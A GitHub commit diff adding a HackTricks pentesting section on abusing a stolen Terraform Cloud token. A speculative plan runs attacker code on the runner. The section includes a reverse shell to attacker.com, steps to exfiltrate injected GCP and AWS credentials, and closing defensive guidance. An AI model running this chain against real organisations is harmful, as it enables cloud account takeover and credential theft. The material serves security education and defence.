Skip to content

Commit 179d647

Browse files
authored
Merge pull request #197 from HackTricks-wiki/update_Terraform_Cloud_token_abuse_turns_speculative_plan_20250815_124146
Terraform Cloud token abuse turns speculative plan into remo...
2 parents 634de74 + 4f241ea commit 179d647

File tree

1 file changed

+96
-3
lines changed

1 file changed

+96
-3
lines changed

src/pentesting-ci-cd/terraform-security.md

Lines changed: 96 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -217,6 +217,94 @@ data "external" "example" {
217217
}
218218
```
219219

220+
## Terraform Cloud speculative plan RCE and credential exfiltration
221+
222+
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
223+
224+
- Preconditions:
225+
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
226+
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
227+
228+
- Discover workspace and VCS settings via the TFC API:
229+
230+
```bash
231+
export TF_TOKEN=<stolen_token>
232+
curl -s -H "Authorization: Bearer $TF_TOKEN" \
233+
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
234+
```
235+
236+
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
237+
238+
```hcl
239+
terraform {
240+
cloud {
241+
organization = "acmecorp"
242+
workspaces { name = "gcp-infra-prod" }
243+
}
244+
}
245+
246+
data "external" "exec" {
247+
program = ["bash", "./rsync.sh"]
248+
}
249+
```
250+
251+
Example rsync.sh to obtain a reverse shell on the TFC runner:
252+
253+
```bash
254+
#!/usr/bin/env bash
255+
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
256+
```
257+
258+
Run a speculative plan to execute the program on the ephemeral runner:
259+
260+
```bash
261+
terraform init
262+
terraform plan
263+
```
264+
265+
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
266+
267+
```bash
268+
env | grep -i gcp || true
269+
env | grep -i aws || true
270+
```
271+
272+
Expected files on the runner working directory:
273+
- GCP:
274+
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
275+
- `tfc-gcp-token` (short-lived GCP access token)
276+
- AWS:
277+
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
278+
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
279+
280+
- Use the short-lived credentials out-of-band to bypass VCS gates:
281+
282+
GCP (gcloud):
283+
284+
```bash
285+
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
286+
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
287+
gcloud config set project <PROJECT_ID>
288+
```
289+
290+
AWS (AWS CLI):
291+
292+
```bash
293+
export AWS_CONFIG_FILE=./tfc-aws-shared-config
294+
export AWS_PROFILE=default
295+
aws sts get-caller-identity
296+
```
297+
298+
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
299+
300+
- Defensive guidance:
301+
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
302+
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
303+
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
304+
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
305+
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
306+
307+
220308
## Automatic Audit Tools
221309

222310
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
@@ -322,8 +410,13 @@ brew install terrascan
322410
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
323411
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
324412
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
413+
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
414+
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
415+
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
416+
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
417+
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
418+
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
419+
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
420+
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
325421

326422
{{#include ../banners/hacktricks-training.md}}
327-
328-
329-

0 commit comments

Comments
 (0)